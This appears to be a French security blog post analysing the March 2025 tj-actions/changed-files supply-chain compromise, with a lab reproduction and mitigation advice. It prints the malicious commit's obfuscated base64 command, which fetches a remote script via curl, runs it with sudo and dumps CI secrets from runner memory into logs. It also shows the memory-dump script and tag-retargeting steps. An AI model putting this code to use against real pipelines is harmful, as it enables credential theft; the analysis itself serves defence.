Skip to main content

Reconstitution de la compromission de l’action GitHub Changed Files de TJ Actions

Écrit par

17 mars 2025

0 minutes de lecture

Dans l’après-midi du vendredi 14 mars 2025, des détails ont commencé à émerger sur une grave faille de sécurité touchant une action GitHub populaire appelée changed files (tj-actions/changed-files). Environ 23 000 dépôts GitHub utilisent cette action dans leurs workflows CI et DevOps. Elle permet de suivre les fichiers modifiés entre différentes branches et différents commits.

Un attaquant disposant de droits d’écriture sur le dépôt de l’action a créé un commit qui a fait apparaître des secrets chiffrés en clair dans les journaux GitHub Actions. Cela pouvait entraîner une grave compromission d’un dépôt public, dont les journaux d’action sont eux aussi publics.

Tout d’abord, nous tenons à rassurer nos clients : Snyk a terminé l’évaluation de son infrastructure et nous pouvons confirmer que nous n’utilisons aucune version vulnérable concernée de cette bibliothèque. Snyk est donc protégé contre cette vulnérabilité.

Cela dit, nous souhaitons vous présenter l’analyse approfondie de cette vulnérabilité réalisée par Snyk, expliquer son fonctionnement et proposer des mesures correctives concrètes. C’est l’objet de cet article.

Au moment de la rédaction de cet article, on ignore pourquoi l’attaquant disposait de droits d’écriture sur le dépôt qui héberge le code de cette action GitHub. Au-delà de ces droits, les principaux facteurs ayant rendu l’attaque possible étaient les suivants :

  • Modifier des tags de version existants pour les faire pointer vers le commit malveillant

  • Isoler le commit malveillant de toutes les branches, y compris la branche principale

Ces facteurs ont ajouté une couche de dissimulation pour masquer l’attaque. Celle-ci reposait sur un appel réseau externe pour récupérer le code malveillant, ce qui a fini par attirer l’attention de services surveillant les activités réseau anormales.

Vers la fin de cet article, je reproduis l’attaque (sans danger) pour vous aider à comprendre comment elle a été possible et comment vous en protéger.

À propos des commits Git orphelins

Voici un exercice à essayer. Créez un nouveau dépôt sur GitHub et clonez-le localement. Créez une branche et poussez-la sur GitHub. Notez le hash du commit. Supprimez ensuite la branche distante. Vous pouvez toujours accéder à ce commit, même s’il n’est plus associé à aucune branche existante.

Voici les étapes décrites ci-dessus :

1. Créez un dépôt sur GitHub

2. Créez un dépôt local et ajoutez-y le dépôt distant GitHub que vous venez de créer

echo "# orhpan-branch-test" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin git@github.com:dogeared/orhpan-branch-test.git
git push -u origin main

3. Créez une branche

git checkout -b orphan

4. Ajoutez un commit et poussez-le sur GitHub

echo hello > hello.txt
git add -A .
git commit -m "hello"
git push origin orphan

5. Notez le commit sur GitHub

https://github.com/dogeared/orhpan-branch-test/commit/c7e359462f6afc144d7b4da6eb277d0338c675c9
Page de commit GitHub pour le commit « hello » c7e3594, sur la branche « orphan » du dépôt « orhpan-branch-test ».

6. Supprimez la branche sur GitHub

Capture d’écran de la section « Vos branches » d’un dépôt GitHub, montrant la branche « orphan » indiquée comme « Supprimée à l’instant », avec 1 commit d’avance.

7. Accédez à l’URL du commit que vous avez notée précédemment

Capture d’écran de la page d’un commit GitHub pour c7e3594, avec l’avertissement : « Ce commit n’appartient à aucune branche de ce dépôt… » et le message de commit « hello ».

Voici à quoi ressemble une branche orpheline. C’est l’un des principaux facteurs ayant permis l’exploitation du workflow GitHub Action changes-files.

L’autre facteur clé a été le déplacement des tags de version dans le dépôt.

À propos des tags de version GitHub

Malheureusement, les développeurs prêtent parfois aux tags de version GitHub des pouvoirs qu’ils n’ont pas. Si l’on nous dit d’utiliser la version v35 d’une version donnée, nous faisons référence à ce tag et supposons que nous obtiendrons bien cette version. Dans des conditions normales, c’est une hypothèse raisonnable, mais les tags GitHub ne sont que des chaînes pratiques qui pointent vers un commit précis : il n’y a rien de magique, même avec une gestion rigoureuse du versionnage sémantique. Voici un extrait de fichier YAML d’une action GitHub qui fait référence à l’action changes-files :

name: "tj-action changed-files"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v35

L’élément crucial se trouve à la toute dernière ligne, qui fait référence à un tag particulier du dépôt de l’action GitHub. L’attaquant a supprimé les tags de version d’origine et les a réaffectés au commit malveillant, qui était orphelin. Il a redirigé plusieurs tags de version existants vers son commit malveillant, amplifiant ainsi l’impact de l’attaque.

Je peux le démontrer en poursuivant l’exemple précédent. Sur ma machine locale, je vais créer un tag pour la branche sur laquelle je travaille :

git tag v35
git push --tags

Sur GitHub, un tag est désormais associé au commit orphelin. Je peux accéder à :

https://github.com/dogeared/orhpan-branch-test/tree/v35

Je vois alors ceci :

Capture d’écran de la liste des commits d’un dépôt GitHub avec l’avertissement « Ce commit n’appartient à aucune branche… », montrant les commits « hello » et « first commit » de l’utilisateur « dogeared ».

L’attaquant pouvait donc faire pointer les utilisateurs vers le commit malveillant en mettant simplement à jour le dépôt du code de l’action GitHub changed-files.

En résumé, un acteur malveillant avait accès en écriture à un dépôt dont dépendaient 23 000 autres dépôts. L’attaquant a imaginé une méthode astucieuse pour dissimuler son activité, mais sans cet accès en écriture, l’attaque n’aurait pas été possible.

Examinons de plus près ce que cherchait l’attaquant.

À propos de la fuite de secrets

Les secrets sont souvent nécessaires pour que les scripts puissent interagir avec d’autres services ou pour fournir les clés indispensables à la compilation et à l’exécution des tests.

GitHub dispose d’un système de chiffrement sophistiqué pour gérer les secrets. Vous pouvez définir un secret au niveau du dépôt Git et y accéder dans votre script de compilation sans qu’il apparaisse dans les journaux de compilation ni qu’il soit divulgué. En arrière-plan, GitHub déchiffre le secret et l’utilise comme référence dans votre script de compilation. En pratique, votre fichier YAML GitHub Actions peut contenir une ligne semblable à celle-ci :

steps:
  - name: Hello world action
    with: # Set the secret as an input
      super_secret: ${{ secrets.SuperSecret }}

Le reste du script peut alors accéder au secret sans qu’il soit nécessaire de l’inclure dans le script ou les journaux.

L’attaquant a modifié l’action GitHub changed-files de TJ pour télécharger un script depuis un emplacement distant, l’enregistrer dans un fichier local sur la machine virtuelle exécutant l’action GitHub, puis l’exécuter. L’opération s’est déroulée en deux étapes. La première a consisté à créer le commit malveillant orphelin, qui a depuis été supprimé. Voici la partie essentielle de ce commit Git :

async function updateFeatures(token) {
     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
         ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);   
 }

Si vous décodez en Base64 la longue chaîne ci-dessus (comme le fait le script), vous obtenez :

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Le gist auquel il est fait référence a depuis été supprimé, mais voici le script Python qu’il contenait :

#!/usr/bin/env python3

import os
import sys
import re

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start

                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

Le script ci-dessus, exécuté en tant que superutilisateur à l’aide de la commande sudo, analyse la mémoire des processus pour trouver les secrets déchiffrés et les afficher dans le journal Actions. C’est particulièrement dommageable, car les journaux GitHub Actions des dépôts publics sur GitHub sont eux aussi publics par conception.

Une publication sur Hacker News (disponible ici) parue le 14 mars indiquait que l’exploit avait été détecté par StepSecurity, un service qui surveille notamment les appels réseau non autorisés dans GitHub Actions. L’auteur et responsable de la maintenance de cette action GitHub populaire a ajouté un commentaire à cette publication pour expliquer ce qui s’était passé. Le tout premier problème qu’il relève est que l’attaquant avait accès en écriture au dépôt.

Grâce à la détection rapide de l’exploit et à la réactivité du responsable de la maintenance, la vulnérabilité a été corrigée et l’attaque stoppée très rapidement. Toutefois, les utilisateurs de l’action GitHub changed-files sont invités à examiner leurs journaux depuis le 14 mars pour vérifier qu’aucun secret n’a été divulgué dans un journal Actions public.

L’exploit en action

J’ai créé un ensemble de dépôts pour reproduire cet exploit avec une configuration aussi proche que possible de celle de l’attaquant.

Le premier dépôt Git contient la définition de l’action GitHub personnalisée : tj-changed-files-action-goof.

Le fichier index.js est simple et reprend principalement le tutoriel GitHub sur la création d’actions :

const core = require('@actions/core');
const github = require('@actions/github');

(async function run() {
  try {
    // `who-to-greet` input defined in action metadata file
    const nameToGreet = core.getInput('who-to-greet');
    console.log(`Hello ${nameToGreet}!`);
    const time = (new Date()).toTimeString();
    core.setOutput("time", time);
  } catch (error) {
    core.setFailed(error.message);
  }
})();

Il attend une entrée appelée who-to-greet et renvoie la date et l’heure en sortie.

L’autre dépôt ne contient qu’un seul fichier : un fichier YAML configuré pour exécuter l’action GitHub personnalisée. Il contient aussi un secret nommé A_SECRET. Le dépôt s’appelle : tj-changed-files-action-exploit-goof. Si vous consultez son fichier .github/workflows/main.yml, vous verrez ceci :

name: CI

on:
 "main" branch
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

  workflow_dispatch:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Run a one-line script
        run: echo Hello, world!

      - name: A Goof Step
        id: goof
        uses: snyk-labs/tj-changed-files-action-goof@v1.0
        with:
          a_secret: ${{ secrets.A_SECRET }}
          who-to-greet: 'dogeared'

      - name: Get the output time
        run: echo "The time was ${{ steps.goof.outputs.time }}"

Il effectue plusieurs opérations :

  1. Afficher un message « Hello, world! »

  2. Exécuter l’action GitHub tj-changed-files-action-goof

  3. Afficher l’heure renvoyée par l’action. Le secret du dépôt est également utilisé de la manière prévue dans une action GitHub.

Comparez le résultat de A Goof Step dans deux exécutions différentes. D’abord, celle-ci :

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
Hello dogeared!

Ensuite, celle-ci :

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
SWtGZlUwVkRVa1ZVSWpwN0luWmhiSFZsSWpvaVUzVndaWElnVTJWamNtVjBJRk5sWTNKbGRDRWlMQ0pwYzFObFkzSmxkQ0k2ZEhKMVpYMEs=

Hello dogeared!

Dans les deux cas, snyk-labs/tj-changed-files-action-goof@v1.0 est exécutée. Dans la deuxième exécution, vous pouvez voir le résultat de l’action GitHub compromise. Si nous décodons deux fois la chaîne encodée en Base64, nous obtenons :

"A_SECRET":{"value":"Super Secret Secret!","isSecret":true}

Dans les deux exécutions, vous pouvez constater que GitHub Actions protège la valeur du secret lorsqu’elle est référencée : a_secret: ***. Toutefois, le code de l’exploit extrait directement de la mémoire système les valeurs des secrets en clair.

Si nous revenons au tag v1.0 du dépôt tj-changed-files-action-goof, vous verrez une branche orpheline semblable à celle de l’exploit d’origine :

Capture d’écran de la liste des fichiers du dépôt GitHub « tj-changed-files-action-goof », avec l’avertissement « This commit does not belong to any branch... », les fichiers « action.yml » et « index.js », et le tag « v1.0 » sélectionné.

Au départ, v1.0 pointait vers la branche main. Mais pour simuler l’exploit, je l’ai simplement fait pointer vers une branche attack, que j’ai ensuite rendue orpheline :

git push origin :v1.0 # delete the original tag on main
git tag -d v1.0 # delete the local tag
git checkout -b attack # create the attack branch

# update index.js to include the malicious code

ncc build index.js # create a new version of dist/index.js
git add dist/index.js
git commit -m "attack"
git push origin attack # push the attack branch up to GitHub
git tag v1.0 # put the v1.0 tag on the attack branch
git push origin --tags # push the v1.0 tag to GitHub
git push origin :attack 
# ^^ DELETE the attack branch on GitHub making the v1.0 tag orphaned

Le dernier détail piégeux, facile à manquer, est ncc build index.js. Cette commande met à jour dist/index.js, et seul ce fichier mis à jour est commité. C’est le fichier dist/index.js regroupé avec webpack que l’action GitHub exécute réellement. Ainsi, si vous consultez le fichier index.js de la branche v1.0 (orpheline), rien ne semble avoir changé.

Voici le diff du code webpack dist/index.js sur v1.0, comparé à la branche main.

Protégez vos workflows GitHub Actions

Je suis certain que nous en apprendrons davantage sur les raisons pour lesquelles l’attaquant disposait de droits d’écriture sur le dépôt de cette action GitHub populaire.

Il est courant d’utiliser les tags Git comme références de version pour les différentes bibliothèques dont nous dépendons.

Il existe plusieurs moyens d’éviter cet exploit en particulier.

1. Pour les actions GitHub personnalisées distantes, référencez directement le hash du commit

Par exemple, vous pourriez :

uses: snyk-labs/tj-changed-files-action-goof@6eb82f8276131aa04985f48b1d74e020133e22e5

Cette méthode référence directement le hash du commit, plutôt qu’un tag. Ce n’est pas une pratique courante, mais elle garantit que la version exécutée de l’action GitHub personnalisée est bien celle que vous attendez.

2. Utilisez d’autres actions GitHub personnalisées pour détecter les appels réseau inattendus. C’est ainsi que StepSecurity a repéré l’exploit.

Il est encourageant de voir une communauté de contributeurs open source, d’entreprises et de particuliers se mobiliser pour détecter et corriger les nouveaux exploits dès leur apparition, comme celui-ci.

Snyk a publié des recherches et des bonnes pratiques sur GitHub Actions. Nous vous encourageons vivement à les consulter et à évaluer vos pratiques DevSecOps et de sécurité à l’aide des ressources suivantes :

Découvrez l’état de la sécurité des logiciels open source

Découvrez les tendances et les approches actuelles en matière de logiciels open source et de sécurité de la chaîne d’approvisionnement.